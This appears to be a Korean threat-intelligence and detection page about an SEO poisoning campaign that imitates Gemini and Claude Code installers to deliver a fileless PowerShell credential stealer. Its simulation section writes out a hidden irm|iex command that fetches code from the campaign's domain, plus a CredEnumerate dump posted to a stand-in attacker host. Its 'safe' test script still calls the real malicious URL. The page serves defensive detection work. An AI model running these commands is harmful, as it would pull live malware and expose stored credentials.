SEO 독극물 캠페인, Gemini 및 Claude 코드 유인물로 정보 탈취기 전달
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
금전적 동기를 가진 eCrime 행위자들이 SEO 포이징을 사용하여 AI 코딩 보조 프로그램 설치 프로그램을 모방한 가짜 도메인을 홍보하고 있습니다. 피해자가 이러한 페이지에서 단일 PowerShell 명령을 복사하여 붙여넣으면 파일 없는 인포스틸러가 메모리에서 전적으로 실행됩니다. 이 멀웨어는 자격 증명, 세션 쿠키, VPN 키 및 민감한 파일을 훔쳐서 데이터를 암호화된 형태로 명령 및 제어 서버에 유출합니다. 이 캠페인은 Windows 개발자 워크스테이션을 대상으로 하며, 익숙한 개발자 도구를 악용하여 정상적인 활동에 섞여 드는 형태입니다.
조사
EclecticIQ 분석가는 악성 인프라를 .co.com 도메인으로 추적하여 PowerShell 다운로드 문자열을 서비스를 통해 irm and iex. 첫 단계 스크립트는 Shell.Application.ShellExecute를 사용하여 숨겨진 PowerShell 창을 실행한 후 추가적인 C# 타입을 로드하여 자격 증명, 시스템 세부 정보 및 기타 귀중한 데이터를 수집합니다. HTTP 및 HTTPS를 통한 유출이 관찰되었습니다 events.msft23.com and events.ms709.com 특정 URL 경로를 사용하여. 수동 DNS 분석은 네덜란드의 총도적인 호스팅 제공자와의 연관성을 나타냈으며, 오타 도메인 클러스터의 더 넓은 그룹으로 연결됩니다.
완화
방어자는 irm | iex 실행 패턴, 숨겨진 PowerShell 창, 및 의심스러운 Add-Type 을 포함한 P/Invoke 호출 사용을 감지하고 차단해야 합니다. 조직은 PowerShell 제한된 언어 모드를 강제하고, AppLocker 또는 WDAC를 사용하여 인터넷에서 소스된 콘텐츠의 스크립트 실행을 방지해야 합니다. 브라우저 클립보드 쓰기 접근을 제한하고 개발자 계정에 대해 단기 OAuth 토큰을 강제하는 것도 노출을 줄이는 데 도움이 됩니다. 개발자들도 신뢰할 수 없는 웹사이트에서 복사한 명령어를 피하도록 교육받아야 합니다.
응답
보안 팀은 -WindowStyle Hidden 으로 시작된 PowerShell 프로세스에 경고를 발생시켜야 하며 Shell.Application.ShellExecute. 이를 *-setup.com or events.*.com과 일치하는 도메인에 대한 아웃바운드 HTTP 요청과 연관시켜야 합니다. 특히 경로가 /take, /process, 혹은 /validate 로 나타날 때. 이러한 행동이 탐지되면 영향을 받은 엔드포인트를 격리하고, PowerShell 로그를 수집하며 브라우저 데이터 및 자격 증명 저장소에 대한 포렌식 수집을 수행하십시오.
공격 흐름
탐지
PowerShell을 통한 다운로드 및 업로드 (cmdline을 통해)
보기
의심쓰러운 PowerShell 문자열 (powershell을 통해)
보기
PowerShell에서 의심스러운 .NET 메소드 호출 (powershell을 통해)
보기
IOCs (HashSha256)로 탐지: SEO 포이징 캠페인이 Gemini와 Claude Code 가장을 활용하여 인포스틸러 전달, Part 2
보기
IOCs (HashSha256)로 탐지: SEO 포이징 캠페인이 Gemini와 Claude Code 가장을 활용하여 인포스틸러 전달, Part 1
보기
IOCs (SourceIP)로 탐지: SEO 포이징 캠페인이 Gemini와 Claude Code 가장을 활용하여 인포스틸러 전달
보기
IOCs (DestinationIP)로 탐지: SEO 포이징 캠페인이 Gemini와 Claude Code 가장을 활용하여 인포스틸러 전달
보기
특정 URI 경로로 C2 비콘 패턴 탐지 [Windows 네트워크 연결]
보기
파일리스 PowerShell 인포스틸러 실행 [Windows Powershell]
보기
시뮬레이션 실행
전제조건: 텔레메트리 및 베이스라인 사전 비행 점검이 통과되어야 합니다.
이유: 이 섹션에서는 탐지 규칙을 트리거하기 위한 적의 기술기법(TTP)의 정확한 실행을 명확히 설명합니다. 명령어와 설명은 TTPs로 식별된 내용을 직접 반영하며 탐지 논리에서 기대하는 정확한 텔레메트리를 생성하기 위해 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이끌 것입니다.
-
공격 서사 & 명령어:
공격자는 낮은 권한의 사용자 계정을 타협하여 PowerShell 원 라이너를 통해 실행합니다cmd.exe. 원 라이너는irm(Invoke‑RestMethod)를 사용하여 악성 PowerShell 스크립트를 가져오고events.msft23.com, 이를iex(Invoke‑Expression)로 파이핑하여 페이로드를 전적으로 메모리 내에서 실행합니다. 그리고 PowerShell 창을 숨겨 어깨 넘겨보기 방지합니다. 이후 이 페이로드는Add‑Type을 사용하여 자격 증명 열거를 수행하기 위하여 .NET 타입을 로드하고CredEnumerateAPI를 통해 수집된 데이터를 HTTPS를 통해 유출합니다. 모든 단계는 디스크에 파일을 기록하지 않고 실행되며 “파일리스” 설명에 부합합니다.# 1단계 – 숨겨진 PowerShell 실행 powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"다운로드된
payload.ps1(메모리 내에서 실행)가 포함하는 내용:# 2단계 – 자격 증명 열거를 위한 .NET 타입 로드 $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # 3단계 – 자격 증명 덤프 호출 및 유출 $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "수집한 자격 증명 $count 개" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data이 시퀀스는 시그마 규칙의 일치 조각을 생성합니다:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
회귀 테스트 스크립트: 다음 스크립트는 테스트 워크스테이션에서 정확한 행동을 재현합니다. 상승된 PowerShell 프롬프트에서 실행하십시오.
# 파일리스 PowerShell 인포스틸러 시뮬레이션 – TC-20260525-A7Z3K # ------------------------------------------------------------ # 1단계 – 페이로드를 다운로드하여 실행하는 숨겨진 PowerShell 실행 $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # 안전한 테스트를 위해 로컬에 호스팅된 모의 payload.ps1 콘텐츠 $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "수집한 자격 증명 $count 개" # 무해한 엔드포인트로의 유출을 시뮬레이션 Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # 테스트를 위한 임시 위치에 모의 페이로드 작성 (원격 호스팅 시뮬레이션) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # 데모를 위한 간단한 로컬 HTTP 리스너를 통해 페이로드 전송 $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "http://localhost:8080/payload.ps1 에서 모의 페이로드 전송" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # 주의: 유효성을 확인한 후 리스너를 수동으로 중지하십시오. -
정리 명령: 임시 파일을 제거하고 HTTP 리스너를 중지하세요.
# 시뮬레이션 후 정리 Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # 여전히 실행 중인 경우 로컬 HTTP 리스너 중지 Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force